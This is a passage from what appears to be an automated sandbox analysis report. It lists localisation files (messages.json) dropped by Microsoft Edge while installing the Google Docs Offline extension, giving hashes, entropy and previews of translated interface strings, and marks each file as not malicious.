Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7604_708265191\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
